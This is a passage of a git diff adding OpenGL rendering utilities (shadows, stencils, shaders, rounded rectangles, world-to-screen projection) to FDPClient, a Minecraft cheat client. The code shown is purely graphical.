+ + public void setUniformi(String name, int... args) { + int loc = glGetUniformLocation(programID, name); + if (args.length > 1) glUniform2i(loc, args[0], args[1]); + else glUniform1i(loc, args[0]); + } + + public static void drawQuads(float x, float y, float width, float height) { + glBegin(GL_QUADS); + glTexCoord2f(0, 0); + glVertex2f(x, y); + glTexCoord2f(0, 1); + glVertex2f(x, y + height); + glTexCoord2f(1, 1); + glVertex2f(x + width, y + height); + glTexCoord2f(1, 0); + glVertex2f(x + width, y); + glEnd(); + } + + public static void drawQuads() { + ScaledResolution sr = new ScaledResolution(mc); + float width = (float) sr.getScaledWidth_double(); + float height = (float) sr.getScaledHeight_double(); + glBegin(GL_QUADS); + glTexCoord2f(0, 1); + glVertex2f(0, 0); + glTexCoord2f(0, 0); + glVertex2f(0, height); + glTexCoord2f(1, 0); + glVertex2f(width, height); + glTexCoord2f(1, 1); + glVertex2f(width, 0); + glEnd(); + } + + private int createShader(InputStream inputStream, int shaderType) { + int shader = glCreateShader(shaderType); + glShaderSource(shader, FileUtils.INSTANCE.readInputStream(inputStream)); + glCompileShader(shader); + + + if (glGetShaderi(shader, GL_COMPILE_STATUS) == 0) { + System.out.println(glGetShaderInfoLog(shader, 4096)); + throw new IllegalStateException(String.format("Shader (%s) failed to compile!", shaderType)); + } + + return shader; + } + +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/ShadowUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/render/ShadowUtils.kt new file mode 100644 index 0000000..33c44cb --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/ShadowUtils.kt @@ -0,0 +1,132 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render + +import net.ccbluex.liquidbounce.utils.MinecraftInstance +import net.minecraft.client.gui.ScaledResolution +import net.minecraft.client.renderer.GlStateManager +import net.minecraft.client.renderer.OpenGlHelper +import net.minecraft.client.renderer.Tessellator +import net.minecraft.client.renderer.vertex.DefaultVertexFormats +import net.minecraft.client.shader.Framebuffer +import net.minecraft.client.shader.ShaderGroup +import net.minecraft.util.ResourceLocation +import org.lwjgl.opengl.GL11.* +import org.lwjgl.opengl.GL12.GL_CLAMP_TO_EDGE +import java.io.IOException + +object ShadowUtils : MinecraftInstance() { + + private var initFramebuffer: Framebuffer? = null + private var frameBuffer: Framebuffer? = null + private var resultBuffer: Framebuffer? = null + + private var shaderGroup: ShaderGroup? = null + private var lastWidth = 0 + private var lastHeight = 0 + private var lastStrength = 0F + + private val blurDirectory = ResourceLocation("fdpclient/shadow.json") + + @Throws(IOException::class) + fun initShaderIfRequired(sc: ScaledResolution, strength: Float) { + val width = sc.scaledWidth + val height = sc.scaledHeight + val factor = sc.scaleFactor + if (lastWidth != width || lastHeight != height + || initFramebuffer == null || frameBuffer == null || shaderGroup == null) { + initFramebuffer = Framebuffer(width * factor, height * factor, true) + initFramebuffer!!.setFramebufferColor(0F, 0F, 0F, 0F) + initFramebuffer!!.setFramebufferFilter(GL_LINEAR) + shaderGroup = ShaderGroup(mc.textureManager, mc.resourceManager, initFramebuffer, blurDirectory) + shaderGroup!!.createBindFramebuffers(width * factor, height * factor) + frameBuffer = shaderGroup!!.mainFramebuffer + resultBuffer = shaderGroup!!.getFramebufferRaw("braindead") + + lastWidth = width + lastHeight = height + lastStrength = strength + for (i in 0..1) + shaderGroup!!.listShaders[i].shaderManager.getShaderUniform("Radius").set(strength) + } + if (lastStrength != strength) { + lastStrength = strength + for (i in 0..1) + shaderGroup!!.listShaders[i].shaderManager.getShaderUniform("Radius").set(strength) + } + } + + fun shadow(strength: Float, drawMethod: (() -> Unit), cutMethod: (() -> Unit)) { + if (!OpenGlHelper.isFramebufferEnabled()) return + + val sc = ScaledResolution(mc) + val width = sc.scaledWidth + val height = sc.scaledHeight + initShaderIfRequired(sc, strength) + + initFramebuffer ?: return + resultBuffer ?: return + frameBuffer ?: return + + mc.framebuffer.unbindFramebuffer() + initFramebuffer!!.framebufferClear() + resultBuffer!!.framebufferClear() + initFramebuffer!!.bindFramebuffer(true) + drawMethod() + frameBuffer!!.bindFramebuffer(true) + shaderGroup!!.loadShaderGroup(mc.timer.renderPartialTicks) + mc.framebuffer.bindFramebuffer(true) + + val fr_width = resultBuffer!!.framebufferWidth.toDouble() / resultBuffer!!.framebufferTextureWidth.toDouble() + val fr_height = resultBuffer!!.framebufferHeight.toDouble() / resultBuffer!!.framebufferTextureHeight.toDouble() + + val tessellator = Tessellator.getInstance() + val worldrenderer = tessellator.worldRenderer + + glPushMatrix() + GlStateManager.disableLighting() + GlStateManager.disableAlpha() + GlStateManager.enableTexture2D() + GlStateManager.disableDepth() + GlStateManager.depthMask(false) + GlStateManager.colorMask(true, true, true, true) + + Stencil.write(false) + cutMethod() + Stencil.erase(false) + + GlStateManager.enableBlend() + GlStateManager.blendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA) + GlStateManager.color(1F, 1F, 1F, 1F) + + resultBuffer!!.bindFramebufferTexture() + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE) + glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE) + + worldrenderer.begin(7, DefaultVertexFormats.POSITION_TEX_COLOR) + worldrenderer.pos(0.0, height.toDouble(), 0.0).tex(0.0, 0.0).color(255, 255, 255, 255).endVertex() + worldrenderer.pos(width.toDouble(), height.toDouble(), 0.0).tex(fr_width, 0.0).color(255, 255, 255, 255).endVertex() + worldrenderer.pos(width.toDouble(), 0.0, 0.0).tex(fr_width, fr_height).color(255, 255, 255, 255).endVertex() + worldrenderer.pos(0.0, 0.0, 0.0).tex(0.0, fr_height).color(255, 255, 255, 255).endVertex() + + tessellator.draw() + resultBuffer!!.unbindFramebufferTexture() + + GlStateManager.disableBlend() + GlStateManager.enableAlpha() + GlStateManager.enableDepth() + GlStateManager.depthMask(true) + + Stencil.dispose() + glPopMatrix() + + GlStateManager.resetColor() + GlStateManager.color(1F, 1F, 1F, 1F) + GlStateManager.enableBlend() + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0) + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/SmoothRenderUtils.java b/src/main/java/net/ccbluex/liquidbounce/utils/render/SmoothRenderUtils.java new file mode 100644 index 0000000..9d28b3c --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/SmoothRenderUtils.java @@ -0,0 +1,190 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render; + +import net.minecraft.client.renderer.*; +import net.minecraft.client.renderer.vertex.DefaultVertexFormats; +import org.lwjgl.opengl.GL11; + +public enum SmoothRenderUtils { + ; + + public static void drawRect(float left, float top, float right, float bottom, final int color) { + if (left < right) { + final float f3 = left; + left = right; + right = f3; + } + if (top < bottom) { + final float f3 = top; + top = bottom; + bottom = f3; + } + final float f3 = (color >> 24 & 0xFF) / 255.0f; + final float f4 = (color >> 16 & 0xFF) / 255.0f; + final float f5 = (color >> 8 & 0xFF) / 255.0f; + final float f6 = (color & 0xFF) / 255.0f; + final Tessellator tessellator = Tessellator.getInstance(); + final WorldRenderer WorldRenderer = tessellator.getWorldRenderer(); + GlStateManager.enableBlend(); + GlStateManager.disableTexture2D(); + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0); + GlStateManager.color(f4, f5, f6, f3); + WorldRenderer.begin(7, DefaultVertexFormats.POSITION); + WorldRenderer.pos(left, bottom, 0.0).endVertex(); + WorldRenderer.pos(right, bottom, 0.0).endVertex(); + WorldRenderer.pos(right, top, 0.0).endVertex(); + WorldRenderer.pos(left, top, 0.0).endVertex(); + tessellator.draw(); + GlStateManager.enableTexture2D(); + GlStateManager.disableBlend(); + } + + public static void circle(final float x, final float y, final float radius, final int fill) { + arc(x, y, 0.0f, 360.0f, radius, fill); + } + + public static void arc(final float x, final float y, final float start, final float end, final float radius, final int color) { + arcEllipse(x, y, start, end, radius, radius, color); + } + + public static void arcEllipse(final float x, final float y, float start, float end, final float w, final float h, final int color) { + GlStateManager.color(0.0f, 0.0f, 0.0f); + GL11.glColor4f(0.0f, 0.0f, 0.0f, 0.0f); + float temp = 0.0f; + if (start > end) { + temp = end; + end = start; + start = temp; + } + final float var11 = (color >> 24 & 0xFF) / 255.0f; + final float var12 = (color >> 16 & 0xFF) / 255.0f; + final float var13 = (color >> 8 & 0xFF) / 255.0f; + final float var14 = (color & 0xFF) / 255.0f; + GlStateManager.enableBlend(); + GlStateManager.disableTexture2D(); + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0); + GlStateManager.color(var12, var13, var14, var11); + if (var11 > 0.5f) { + GL11.glEnable(2848); + GL11.glLineWidth(2.0f); + GL11.glBegin(3); + for (float i = end; i >= start; i -= 4.0f) { + final float ldx = (float)Math.cos(i * 3.141592653589793 / 180.0) * w * 1.001f; + final float ldy = (float)Math.sin(i * 3.141592653589793 / 180.0) * h * 1.001f; + GL11.glVertex2f(x + ldx, y + ldy); + } + GL11.glEnd(); + GL11.glDisable(2848); + } + GL11.glBegin(6); + for (float i = end; i >= start; i -= 4.0f) { + final float ldx = (float)Math.cos(i * 3.141592653589793 / 180.0) * w; + final float ldy = (float)Math.sin(i * 3.141592653589793 / 180.0) * h; + GL11.glVertex2f(x + ldx, y + ldy); + } + GL11.glEnd(); + GlStateManager.enableTexture2D(); + GlStateManager.disableBlend(); + } + + public static void drawRect(double d, double e, double g, double h, final int color) { + if (d < g) { + final int i = (int)d; + d = g; + g = i; + } + if (e < h) { + final int j = (int)e; + e = h; + h = j; + } + final float f3 = (color >> 24 & 0xFF) / 255.0f; + final float f4 = (color >> 16 & 0xFF) / 255.0f; + final float f5 = (color >> 8 & 0xFF) / 255.0f; + final float f6 = (color & 0xFF) / 255.0f; + final Tessellator tessellator = Tessellator.getInstance(); + final WorldRenderer worldrenderer = tessellator.getWorldRenderer(); + GlStateManager.enableBlend(); + GlStateManager.disableTexture2D(); + GlStateManager.tryBlendFuncSeparate(770, 771, 1, 0); + GlStateManager.color(f4, f5, f6, f3); + worldrenderer.begin(7, DefaultVertexFormats.POSITION); + worldrenderer.pos(d, h, 0.0).endVertex(); + worldrenderer.pos(g, h, 0.0).endVertex(); + worldrenderer.pos(g, e, 0.0).endVertex(); + worldrenderer.pos(d, e, 0.0).endVertex(); + tessellator.draw(); + GlStateManager.enableTexture2D(); + GlStateManager.disableBlend(); + } + + public static void drawRoundRect(float x, float y, float x2, float y2,float round,int color) { + round=round/1.2f; + x += (float)(round / 2.0f + 0.5); + y += (float)(round / 2.0f + 0.5); + x2 -= (float)(round / 2.0f + 0.5); + y2 -= (float)(round / 2.0f + 0.5); + r2DUtils.drawRect(x, y, x2, y2, color); + r2DUtils.enableGL2D(); + circle(x2 - round / 2.0f, y + round / 2.0f, round, color); + circle(x + round / 2.0f, y2 - round / 2.0f, round, color); + circle(x + round / 2.0f, y + round / 2.0f, round, color); + circle(x2 - round / 2.0f, y2 - round / 2.0f, round, color); + r2DUtils.disableGL2D(); + + r2DUtils.drawRect((x - round / 2.0f - 0.5f), (y + round / 2.0f), x2, (y2 - round / 2.0f), color); + drawRect(x, (y + round / 2.0f), (x2 + round / 2.0f + 0.5f), (y2 - round / 2.0f), color); + drawRect((x + round / 2.0f), (y - round / 2.0f - 0.5f), (x2 - round / 2.0f), (y2 - round / 2.0f), color); + r2DUtils.drawRect((x + round / 2.0f), y, (x2 - round / 2.0f), (y2 + round / 2.0f + 0.5f), color); + } + + public static class r2DUtils { + public static void enableGL2D() { + GL11.glDisable((int) 2929); + GL11.glEnable((int) 3042); + GL11.glDisable((int) 3553); + GL11.glBlendFunc((int) 770, (int) 771); + GL11.glDepthMask((boolean) true); + GL11.glEnable((int) 2848); + GL11.glHint((int) 3154, (int) 4354); + GL11.glHint((int) 3155, (int) 4354); + } + + public static void disableGL2D() { + GL11.glEnable((int) 3553); + GL11.glDisable((int) 3042); + GL11.glEnable((int) 2929); + GL11.glDisable((int) 2848); + GL11.glHint((int) 3154, (int) 4352); + GL11.glHint((int) 3155, (int) 4352); + } + + public static void glColor(int hex) { + float alpha = (float) (hex >> 24 & 255) / 255.0f; + float red = (float) (hex >> 16 & 255) / 255.0f; + float green = (float) (hex >> 8 & 255) / 255.0f; + float blue = (float) (hex & 255) / 255.0f; + GL11.glColor4f((float) red, (float) green, (float) blue, (float) alpha); + } + + public static void drawRect(float x, float y, float x1, float y1, int color) { + r2DUtils.enableGL2D(); + glColor(color); + r2DUtils.drawRect(x, y, x1, y1); + r2DUtils.disableGL2D(); + } + + public static void drawRect(float x, float y, float x1, float y1) { + GL11.glBegin((int) 7); + GL11.glVertex2f((float) x, (float) y1); + GL11.glVertex2f((float) x1, (float) y1); + GL11.glVertex2f((float) x1, (float) y); + GL11.glVertex2f((float) x, (float) y); + GL11.glEnd(); + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/Stencil.java b/src/main/java/net/ccbluex/liquidbounce/utils/render/Stencil.java new file mode 100644 index 0000000..b4ad5ec --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/Stencil.java @@ -0,0 +1,63 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render; + +import net.minecraft.client.Minecraft; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.client.shader.Framebuffer; +import org.lwjgl.opengl.EXTFramebufferObject; + +import static org.lwjgl.opengl.GL11.*; + +public class Stencil { + + static final Minecraft mc = Minecraft.getMinecraft(); + + public static void dispose() { + glDisable(GL_STENCIL_TEST); + GlStateManager.disableAlpha(); + GlStateManager.disableBlend(); + } + + public static void erase(boolean invert) { + glStencilFunc(invert ? GL_EQUAL : GL_NOTEQUAL, 1, 65535); + glStencilOp(GL_KEEP, GL_KEEP, GL_REPLACE); + GlStateManager.colorMask(true, true, true, true); + GlStateManager.enableAlpha(); + GlStateManager.enableBlend(); + glAlphaFunc(GL_GREATER, 0.0f); + } + + public static void write(boolean renderClipLayer) { + Stencil.checkSetupFBO(); + glClearStencil(0); + glClear(GL_STENCIL_BUFFER_BIT); + glEnable(GL_STENCIL_TEST); + glStencilFunc(GL_ALWAYS, 1, 65535); + glStencilOp(GL_KEEP, GL_KEEP, GL_REPLACE); + if (!renderClipLayer) { + GlStateManager.colorMask(false, false, false, false); + } + } + + public static void checkSetupFBO() { + Framebuffer fbo = mc.getFramebuffer(); + if (fbo != null && fbo.depthBuffer > -1) { + Stencil.setupFBO(fbo); + fbo.depthBuffer = -1; + } + } + + public static void setupFBO(Framebuffer fbo) { + EXTFramebufferObject.glDeleteRenderbuffersEXT(fbo.depthBuffer); + int stencil_depth_buffer_ID = EXTFramebufferObject.glGenRenderbuffersEXT(); + EXTFramebufferObject.glBindRenderbufferEXT(36161, stencil_depth_buffer_ID); + EXTFramebufferObject.glRenderbufferStorageEXT(36161, 34041, Minecraft.getMinecraft().displayWidth, Minecraft.getMinecraft().displayHeight); + EXTFramebufferObject.glFramebufferRenderbufferEXT(36160, 36128, 36161, stencil_depth_buffer_ID); + EXTFramebufferObject.glFramebufferRenderbufferEXT(36160, 36096, 36161, stencil_depth_buffer_ID); + } + +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/StencilUtils.kt b/src/main/java/net/ccbluex/liquidbounce/utils/render/StencilUtils.kt new file mode 100644 index 0000000..2ff50ae --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/StencilUtils.kt @@ -0,0 +1,97 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render + +import net.ccbluex.liquidbounce.utils.ClientUtils.mc +import net.minecraft.client.shader.Framebuffer +import org.lwjgl.opengl.EXTFramebufferObject +import org.lwjgl.opengl.EXTPackedDepthStencil +import org.lwjgl.opengl.GL11.* + +object StencilUtils { + + /** + * Initializes Stencil + */ + fun initStencil(fbo: Framebuffer) { + fbo.bindFramebuffer(false) + checkSetupFBO(fbo) + + glClear(GL_STENCIL_BUFFER_BIT) + glEnable(GL_STENCIL_TEST) + } + + /** + * Uninitializes Stencil + */ + fun uninitStencil() = glDisable(GL_STENCIL_TEST) + + /** + * Writes to Stencil + */ + fun writeToStencil() { + glColorMask(false, false, false, false) + glStencilFunc(GL_ALWAYS, 1, 1) + glStencilOp(GL_REPLACE, GL_REPLACE, GL_REPLACE) + } + + /** + * Reads from Stencil + */ + fun readFromStencil() { + glColorMask(true, true, true, true) + glStencilFunc(GL_EQUAL, 1, 1) + glStencilOp(GL_KEEP, GL_KEEP, GL_KEEP) + } + + private fun checkSetupFBO(fbo: Framebuffer) { + + // Checks if screen has been resized or new FBO has been created + if (fbo.depthBuffer > -1) { + + // Sets up the FBO with depth and stencil extensions (24/8 bit) + setupFBO(fbo) + + // Reset the ID to prevent multiple FBO's + fbo.depthBuffer = -1 + } + } + + /** + * Sets up the FBO with depth and stencil + * + * @param fbo Framebuffer + */ + private fun setupFBO(fbo: Framebuffer) { + + // Deletes old render buffer extensions such as depth + EXTFramebufferObject.glDeleteRenderbuffersEXT(fbo.depthBuffer) + + // Generates a new render buffer ID for the depth and stencil extension + val depthBufferId = EXTFramebufferObject.glGenRenderbuffersEXT() + + // Binds new render buffer by ID + EXTFramebufferObject.glBindRenderbufferEXT(EXTFramebufferObject.GL_RENDERBUFFER_EXT, depthBufferId) + + // Adds the depth and stencil extension + EXTFramebufferObject.glRenderbufferStorageEXT( + EXTFramebufferObject.GL_RENDERBUFFER_EXT, EXTPackedDepthStencil.GL_DEPTH_STENCIL_EXT, + mc.displayWidth, mc.displayHeight + ) + + // Adds the stencil attachment + EXTFramebufferObject.glFramebufferRenderbufferEXT( + EXTFramebufferObject.GL_FRAMEBUFFER_EXT, EXTFramebufferObject.GL_STENCIL_ATTACHMENT_EXT, + EXTFramebufferObject.GL_RENDERBUFFER_EXT, depthBufferId + ) + + // Adds the depth attachment + EXTFramebufferObject.glFramebufferRenderbufferEXT( + EXTFramebufferObject.GL_FRAMEBUFFER_EXT, EXTFramebufferObject.GL_DEPTH_ATTACHMENT_EXT, + EXTFramebufferObject.GL_RENDERBUFFER_EXT, depthBufferId + ) + } +} \ No newline at end of file diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/StringConversions.java b/src/main/java/net/ccbluex/liquidbounce/utils/render/StringConversions.java new file mode 100644 index 0000000..2347be6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/StringConversions.java @@ -0,0 +1,31 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render; + +public class StringConversions { + public static Object castNumber(String newValueText) { + if (newValueText.contains(".")) { + if (newValueText.toLowerCase().contains("f")) { + return (float) Float.parseFloat((String) newValueText); + } + return Double.parseDouble(newValueText); + } + if (StringConversions.isNumeric(newValueText)) { + return Integer.parseInt(newValueText); + } + return newValueText; + } + + public static boolean isNumeric(String text) { + try { + Integer.parseInt(text); + return true; + } + catch (NumberFormatException numberFormatException) { + return false; + } + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/Translate.java b/src/main/java/net/ccbluex/liquidbounce/utils/render/Translate.java new file mode 100644 index 0000000..115e2b4 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/Translate.java @@ -0,0 +1,36 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render; + +import net.ccbluex.liquidbounce.ui.client.gui.AnimationUtil; +import net.ccbluex.liquidbounce.utils.AnimationUtils; +public final class Translate { + private float x; + private float y; + private boolean first = false; + + public Translate(float x, float y) { + this.x = x; + this.y = y; + } + + public void interpolate(float targetX, float targetY, double smoothing) { + if(first) { + this.x = AnimationUtil.animate(targetX, this.x, smoothing); + this.y = AnimationUtil.animate(targetY, this.y, smoothing); + } else { + this.x = targetX; + this.y = targetY; + first = true; + } + } + + public float getY() { + return this.y; + } + +} + diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/WorldToScreen.java b/src/main/java/net/ccbluex/liquidbounce/utils/render/WorldToScreen.java new file mode 100644 index 0000000..11551ad --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/WorldToScreen.java @@ -0,0 +1,53 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render; + +import org.lwjgl.BufferUtils; +import org.lwjgl.opengl.GL11; +import org.lwjgl.util.vector.Matrix4f; +import org.lwjgl.util.vector.Vector2f; +import org.lwjgl.util.vector.Vector3f; +import org.lwjgl.util.vector.Vector4f; + +import java.nio.FloatBuffer; + +public class WorldToScreen { + + public static Matrix4f getMatrix(int matrix) { + FloatBuffer floatBuffer = BufferUtils.createFloatBuffer(16); + + GL11.glGetFloat(matrix, floatBuffer); + + return (Matrix4f) new Matrix4f().load(floatBuffer); + } + + + public static Vector2f worldToScreen(Vector3f pointInWorld, Matrix4f view, Matrix4f projection, int screenWidth, int screenHeight) { + Vector4f clipSpacePos = multiply(multiply(new Vector4f(pointInWorld.x, pointInWorld.y, pointInWorld.z, 1.0f), view), projection); + + Vector3f ndcSpacePos = new Vector3f(clipSpacePos.x / clipSpacePos.w, clipSpacePos.y / clipSpacePos.w, clipSpacePos.z / clipSpacePos.w); + + + float screenX = ((ndcSpacePos.x + 1.0f) / 2.0f) * screenWidth; + float screenY = ((1.0f - ndcSpacePos.y) / 2.0f) * screenHeight; + + // nPlane = -1, fPlane = 1 + if (ndcSpacePos.z < -1.0 || ndcSpacePos.z > 1.0) { + return null; + } + + return new Vector2f(screenX, screenY); + } + + public static Vector4f multiply(Vector4f vec, Matrix4f mat) { + return new Vector4f( + vec.x * mat.m00 + vec.y * mat.m10 + vec.z * mat.m20 + vec.w * mat.m30, + vec.x * mat.m01 + vec.y * mat.m11 + vec.z * mat.m21 + vec.w * mat.m31, + vec.x * mat.m02 + vec.y * mat.m12 + vec.z * mat.m22 + vec.w * mat.m32, + vec.x * mat.m03 + vec.y * mat.m13 + vec.z * mat.m23 + vec.w * mat.m33 + ); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/shader/FramebufferShader.java b/src/main/java/net/ccbluex/liquidbounce/utils/render/shader/FramebufferShader.java new file mode 100644 index 0000000..fe8d5d6 --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/shader/FramebufferShader.java @@ -0,0 +1,110 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render.shader; + +import net.ccbluex.liquidbounce.injection.access.StaticStorage; +import net.minecraft.client.gui.ScaledResolution; +import net.minecraft.client.renderer.GlStateManager; +import net.minecraft.client.renderer.RenderHelper; +import net.minecraft.client.shader.Framebuffer; + +import java.awt.*; + +import static org.lwjgl.opengl.GL11.*; +import static org.lwjgl.opengl.GL20.glUseProgram; + +/** + * @author TheSlowly + */ +public abstract class FramebufferShader extends Shader { + + private static Framebuffer framebuffer; + + protected float red, green, blue, alpha = 1F; + protected float radius = 2F; + protected float quality = 1F; + + private boolean entityShadows; + + public FramebufferShader(final String fragmentShader) { + super(fragmentShader); + } + + public void startDraw(final float partialTicks) { + GlStateManager.enableAlpha(); + + GlStateManager.pushMatrix(); + GlStateManager.pushAttrib(); + + framebuffer = setupFrameBuffer(framebuffer); + framebuffer.framebufferClear(); + framebuffer.bindFramebuffer(true); + entityShadows = mc.gameSettings.entityShadows; + mc.gameSettings.entityShadows = false; + mc.entityRenderer.setupCameraTransform(partialTicks, 0); + } + + public void stopDraw(final Color color, final float radius, final float quality) { + mc.gameSettings.entityShadows = entityShadows; + glEnable(GL_BLEND); + glBlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); + mc.getFramebuffer().bindFramebuffer(true); + + red = color.getRed() / 255F; + green = color.getGreen() / 255F; + blue = color.getBlue() / 255F; + alpha = color.getAlpha() / 255F; + this.radius = radius; + this.quality = quality; + + mc.entityRenderer.disableLightmap(); + RenderHelper.disableStandardItemLighting(); + + startShader(); + mc.entityRenderer.setupOverlayRendering(); + drawFramebuffer(framebuffer); + stopShader(); + + mc.entityRenderer.disableLightmap(); + + GlStateManager.popMatrix(); + GlStateManager.popAttrib(); + } + + /** + * @param frameBuffer + * @return frameBuffer + * @author TheSlowly + */ + public Framebuffer setupFrameBuffer(Framebuffer frameBuffer) { + if(frameBuffer != null) + frameBuffer.deleteFramebuffer(); + + frameBuffer = new Framebuffer(mc.displayWidth, mc.displayHeight, true); + + return frameBuffer; + } + + /** + * @author TheSlowly + */ + public void drawFramebuffer(final Framebuffer framebuffer) { + final ScaledResolution scaledResolution = StaticStorage.scaledResolution; + if (scaledResolution == null) return; + glBindTexture(GL_TEXTURE_2D, framebuffer.framebufferTexture); + glBegin(GL_QUADS); + glTexCoord2d(0, 1); + glVertex2d(0, 0); + glTexCoord2d(0, 0); + glVertex2d(0, scaledResolution.getScaledHeight()); + glTexCoord2d(1, 0); + glVertex2d(scaledResolution.getScaledWidth(), scaledResolution.getScaledHeight()); + glTexCoord2d(1, 1); + glVertex2d(scaledResolution.getScaledWidth(), 0); + glEnd(); + glUseProgram(0); + } +} diff --git a/src/main/java/net/ccbluex/liquidbounce/utils/render/shader/Shader.java b/src/main/java/net/ccbluex/liquidbounce/utils/render/shader/Shader.java new file mode 100644 index 0000000..f1cbfdf --- /dev/null +++ b/src/main/java/net/ccbluex/liquidbounce/utils/render/shader/Shader.java @@ -0,0 +1,167 @@ +/* + * FDPClient Hacked Client + * A free open source mixin-based injection hacked client for Minecraft using Minecraft Forge by LiquidBounce. + * https://github.com/SkidderMC/FDPClient/ + */ +package net.ccbluex.liquidbounce.utils.render.shader; + +import net.ccbluex.liquidbounce.utils.ClientUtils; +import net.ccbluex.liquidbounce.utils.MinecraftInstance; +import org.apache.commons.io.IOUtils; +import org.lwjgl.opengl.*; + +import java.io.InputStream; +import java.util.HashMap; +import java.util.Map; +import java.util.Objects; + +public abstract class Shader extends MinecraftInstance { + + private int program; + + private Map<String, Integer> uniformsMap; + + public Shader(final String fragmentShader) { + int vertexShaderID, fragmentShaderID; + + try { + final InputStream vertexStream = getClass().getResourceAsStream("/assets/minecraft/fdpclient/shader/vertex.vert"); + vertexShaderID = createShader(IOUtils.toString(Objects.requireNonNull(vertexStream)), ARBVertexShader.GL_VERTEX_SHADER_ARB); + IOUtils.closeQuietly(vertexStream); + + final InputStream fragmentStream = getClass().getResourceAsStream("/assets/minecraft/fdpclient/shader/fragment/" + fragmentShader); + fragmentShaderID = createShader(IOUtils.toString(Objects.requireNonNull(fragmentStream)), ARBFragmentShader.GL_FRAGMENT_SHADER_ARB); + IOUtils.closeQuietly(fragmentStream); + }catch(final Exception e) { + e.printStackTrace(); + return; + } + + if(vertexShaderID == 0 || fragmentShaderID == 0) + return; + + program = ARBShaderObjects.glCreateProgramObjectARB(); + + if(program == 0) + return; + + ARBShaderObjects.glAttachObjectARB(program, vertexShaderID); + ARBShaderObjects.glAttachObjectARB(program, fragmentShaderID); + + ARBShaderObjects.glLinkProgramARB(program); + ARBShaderObjects.glValidateProgramARB(program); + + ClientUtils.getLogger().info("[Shader] Successfully loaded: {}", fragmentShader); + } + + public void init() { + GL20.glUseProgram(this.program); + } + + public void setUniformi(final String name, final int... args) { + final int loc = GL20.glGetUniformLocation(this.program, name); + if (args.length > 1) { + GL20.glUniform2i(loc, args[0], args[1]); + } + else { + GL20.glUniform1i(loc, args[0]); + } + } + + public void unload() { + GL20.glUseProgram(0); + } + + public static void drawQuads(final float x, final float y, final float width, final float height) { + GL11.glBegin(7); + GL11.glTexCoord2f(0.0f, 0.0f); + GL11.glVertex2f(x, y); + GL11.glEnd(); + } + + public void setUniformf(final String name, final float... args) { + final int loc = GL20.glGetUniformLocation(this.program, name); + switch (args.length) { + case 1: { + GL20.glUniform1f(loc, args[0]); + break; + } + case 2: { + GL20.glUniform2f(loc, args[0], args[1]); + break; + } + case 3: { + GL20.glUniform3f(loc, args[0], args[1], args[2]); + break; + } + case 4: { + GL20.glUniform4f(loc, args[0], args[1], args[2], args[3]); + break; + } + } + } + + public void startShader() { + GL11.glPushMatrix(); + GL20.glUseProgram(program); + + if(uniformsMap == null) { + uniformsMap = new HashMap<>(); + setupUniforms(); + } + + updateUniforms(); + } + + public void stopShader() { + GL20.glUseProgram(0); + GL11.glPopMatrix(); + } + + public abstract void setupUniforms(); + + public abstract void updateUniforms(); + + private int createShader(String shaderSource, int shaderType) { + int shader = 0; + + try { + shader = ARBShaderObjects.glCreateShaderObjectARB(shaderType); + + if(shader == 0) + return 0; + + ARBShaderObjects.glShaderSourceARB(shader, shaderSource); + 